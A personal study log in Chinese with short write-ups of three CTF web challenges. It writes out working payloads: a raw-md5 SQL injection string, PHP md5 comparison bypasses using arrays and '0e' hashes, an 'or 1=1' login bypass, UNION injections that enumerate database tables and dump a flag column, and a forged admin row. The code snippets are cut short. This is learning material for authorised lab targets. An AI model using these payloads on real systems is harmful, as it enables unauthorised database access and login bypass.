学习记录24-7-10
学习记录
[BJDCTF 2020]easy_md5
进入可以看到查询框
查询框随便发点内容可以看到hint: select * from ‘admin’ where password=md5($pass,true)
true参数说明函数以二进制形式返回
payload: url?password=ffifdyop
ffifdyop经md5加密并转换为字符串变为’or’6…
select * from admin where password = ‘’ or ‘6…’
值为true,实现了sql注入
重定向,申码
1 | <!-- |
数组绕过即可
?a[]=1&b[]=2
访问level1114.php
1 | <?php |
要求param1和param2的值不相等,但是paran1和param2的md5值相等,仍然用数组绕过
获得flag
复习一下md5比较
弱比较(==):在php代码中处理字符串时,会把“0E”开头的哈希值都解析为0
如240610708,aabg7XSs,aabC9RqS,s878926199a在md5后会成为0E开头的字符串,解析为0,实现绕过
强比较(===):数组绕过,数组解析时会输出null,null=null实现绕过
[MoeCTF 2022]Sqlmap_boy
审源码后发现
$sql = ‘select username,password from users where username=”‘.$username.’” && password=”‘.$password.’”;’;
使用
username=admin’” or 1=1;#&password=1
攻击后原sql语句变为:
select username,password from users where username=”admin’” or 1=1;#” && password=”1”;
#将后面的部分注释掉,前面的部分值恒为真,实现了sql注入
id=1是注入点,采用联合查询
?id=17’ union select 1,database(),3 –+
查询到库名为moectf
查询表名
?id=17’ union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=’moectf’ –+
查询列名
?id=17’ union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=’flag’ –+
获取flag
?id=17’ union select 1,database(),group_concat(flAg) from flag–+
[GXYCTF 2019]BabySql
对注释的语句进行base32和base64之后发现语句为
select * from user where username = ‘$name’
字段数是3个
在第二列才爆出pass,admin在第二列
三个字段,第二、三个字段为uname,password
在第三个字段将password写入会md5后存放到数据库,传入的pw参数会md5加密后与先前库中的md5比对,相同输出flag
name=1’union select 1,’admin’,’e10adc3949ba59abbe56e057f20f883e’#&pw=123456